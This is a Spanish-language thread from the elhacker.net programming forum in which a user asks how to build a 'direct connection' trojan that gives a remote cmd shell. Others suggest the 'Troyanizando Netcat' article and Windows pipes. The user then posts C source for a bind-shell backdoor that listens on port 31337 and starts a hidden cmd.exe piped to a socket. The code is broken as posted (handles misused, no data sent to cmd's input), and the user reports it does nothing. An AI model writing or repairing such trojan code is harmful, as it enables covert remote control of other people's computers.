Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Garfield07 en 4 Septiembre 2010, 17:00 pm



Título: Que funcion puedo usar?
Publicado por: Garfield07 en 4 Septiembre 2010, 17:00 pm
Buenas, pues estaba pensando en como abrir una cmd remota a traves de un troyano. Al principio pense en dup2, pero no me funcionaba correctamente. Se hacer un troyano inverso, pero quiero hacer un de conex. directa: Cuando me conecte, que me salte una cmd remota. Pero no se exactamente como hacerlo. Uso sockets en C.
Espero sus respuestas y sugerencias. Saludos y gracias


Título: Re: Que funcion puedo usar?
Publicado por: SnakingMax en 4 Septiembre 2010, 17:53 pm
Lee el artíulo de: Troyanizando Netcat
creo que explicaba como redireccionar lo que le llega al netcat remoto al cmd.exe remoto.
Te dará buenas ideas para luego hacer el código que pase los comandos que le lleguen al cmd.exe
Tambien puedes buscar en google: shell remota windows c++ o algo similar.

Saludos


Título: Re: Que funcion puedo usar?
Publicado por: bizco en 4 Septiembre 2010, 19:02 pm
pipes es lo que necesitas. http://msdn.microsoft.com/en-us/library/aa365152%28VS.85%29.aspx


Título: Re: Que funcion puedo usar?
Publicado por: Garfield07 en 6 Septiembre 2010, 11:41 am
Bueno, he probado las dos soluciones, pero desgraciadamente no puedo con ninguna de las dos. Las pipes son interesantes, pero no se como hacerlas funcionar en mi favor. Si alguno sabe como usarlas, con un code, k me lo diga por favor. Sobre lo del NC, lo de troyanizando netcat me parece mas de lammer que de alguien k kiere aprender. Sera un manual util, pero no busco meterme en el ordenador de otra persona, si no hacer un troyano de conexion directa, pues ya he hecho el de conex. inversa, k veo realmente simple.
Sigo pensando en lo de las pipes, pero necesito una manita xD!!!
A la vez busco un troyano en C de conex. directa. Vi uno que usaba pipes tambien, pero no se donde esta.

Seguire buscando. Muxas gracias

El code:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. HANDLE Out, In, Err;
  6. HANDLE hThread[3];
  7. DWORD IDThread[3];
  8. STARTUPINFO Stup;
  9. SOCKET newsock;
  10. SOCKET sockfd;
  11.  
  12. DWORD WINAPI Lectura(LPVOID lpvThreadParm)
  13. {
  14.   char buffer;
  15.   unsigned long BytesRead;
  16.   int n;
  17.   while(1)
  18.   {
  19.   ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  20.   n= send(sockfd, &buffer, 1, 0);
  21.   }
  22.   return 0;
  23. }
  24. DWORD WINAPI Escritura(LPVOID lpvThreadParm)
  25. {
  26.   char buffer;
  27.   unsigned long BytesRead;
  28.   int n;
  29.   while(1)
  30.   {
  31.   ReadFile(In, &buffer, 1, &BytesRead, NULL);
  32.   n= send(sockfd, &buffer, 1, 0);
  33.   }
  34.   return 0;
  35. }
  36. DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
  37. {
  38.   char buffer;
  39.   unsigned long BytesRead;
  40.   int n;
  41.   while(1)
  42.   {
  43.   ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  44.   n= send(sockfd, &buffer, 1, 0);
  45.   }
  46.   return 0;
  47. }
  48.  
  49. int ShellCode ()
  50. {
  51. CreatePipe (&Out, &Out, NULL, 0);
  52. CreatePipe (&In, &In, NULL, 0);
  53. CreatePipe (&Err, &Err, NULL, 0);
  54.  
  55. Stup.cb=sizeof (Stup);
  56. Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  57. Stup.wShowWindow = 0;
  58. Stup.hStdOutput = Out;
  59. Stup.hStdError = Err;
  60. Stup.hStdInput = In;
  61. CreateProcess (NULL, "cmd.exe", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
  62.  
  63. hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
  64. hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
  65. hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
  66.  
  67. WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
  68. CloseHandle(hThread[0]);
  69. CloseHandle(hThread[1]);
  70. CloseHandle(hThread[2]);
  71. }
  72.  
  73. int main ()
  74. {
  75.    WSADATA wsaData;
  76.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  77.    struct sockaddr_in host, client;
  78.    int a=sizeof (struct sockaddr);
  79.    sockfd=socket (2, 1, 0);
  80.    host.sin_family=AF_INET;
  81.    host.sin_addr.s_addr=0;
  82.    host.sin_port=htons (31337);
  83.    memset (host.sin_zero, 0, 8);
  84.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  85.    listen (sockfd, 1);
  86.    while (1)
  87.    {
  88.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  89. ShellCode ();
  90.        closesocket (newsock);
  91.    }
  92.    closesocket (sockfd);
  93.    return 0;
  94. }
  95.  
Va bien y sin warnings pero falla cuando te conectas. No hace nada!